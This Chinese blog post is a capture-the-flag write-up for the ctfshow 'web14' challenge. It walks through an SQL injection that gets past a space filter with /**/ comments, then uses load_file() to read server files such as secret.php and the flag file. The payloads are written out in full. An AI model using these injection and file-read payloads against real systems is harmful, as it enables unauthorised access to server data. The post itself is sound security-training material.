ctfshow web14

最新推荐文章于 2024-06-06 13:36:15 发布

CaIDa0

最新推荐文章于 2024-06-06 13:36:15 发布

阅读量1k

点赞数 2

分类专栏： CTF 文章标签：网络安全 web

本文链接：https://blog.csdn.net/m0_55923820/article/details/118783171

版权

3 篇文章 0 订阅

订阅专栏

题目描述：无

解题思路

这道题比较简单，分值也只有5分，就是一个简单的sql注入。但是这个sql注入的回显你得看它的源代码里才有。但是它把你右击查看源码那个玩意儿给禁了。你需要在你的url前面加view-source:才能看到源码

解题过程，首先打开题目，它的传参是c，值有1，有2，有3，有44444，也有3333。我一个一个试着传了一下。
在这里插入图片描述

传了一个?c=3的时候，弹出下图。有敏感字符呀，我还以为一访问就出来flag了，没想到

在这里插入图片描述

出来个这页面，这种页面基本可以判断它就是个sql注入

在这里插入图片描述

我们直接点确定，查询一下1这个值，url这样

在这里插入图片描述

我们在看一下这条语句能弹出啥，结果发现啥也没

-1 select version()

在这里插入图片描述

它好像做过滤了，我用字符绕了一下，成功弹出version值

-1/**/union/**/select/**/version()

在这里插入图片描述

这种题我们直接读一下，它当前这个网页文件here_1s_your_f1ag.php可能就能出来flag，我们用函数load_file读一下

-1/**/union/**/select/**/load_file('/var/www/html/here_1s_your_f1ag.php')
-1/**/union/**/select/**/load_file('/var/www/html/index.php')   也没有东西

这儿还有一个secret.php，我们读一读

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

在这里插入图片描述

读出一个real_flag_is_here，我们读取一下

-1/**/union/**/select/**/load_file('/real_flag_is_here')

在这里插入图片描述

拿到flag(注意每次sql注入完，查看注入结果是需要在url前加view-source: )
在这里插入图片描述

关注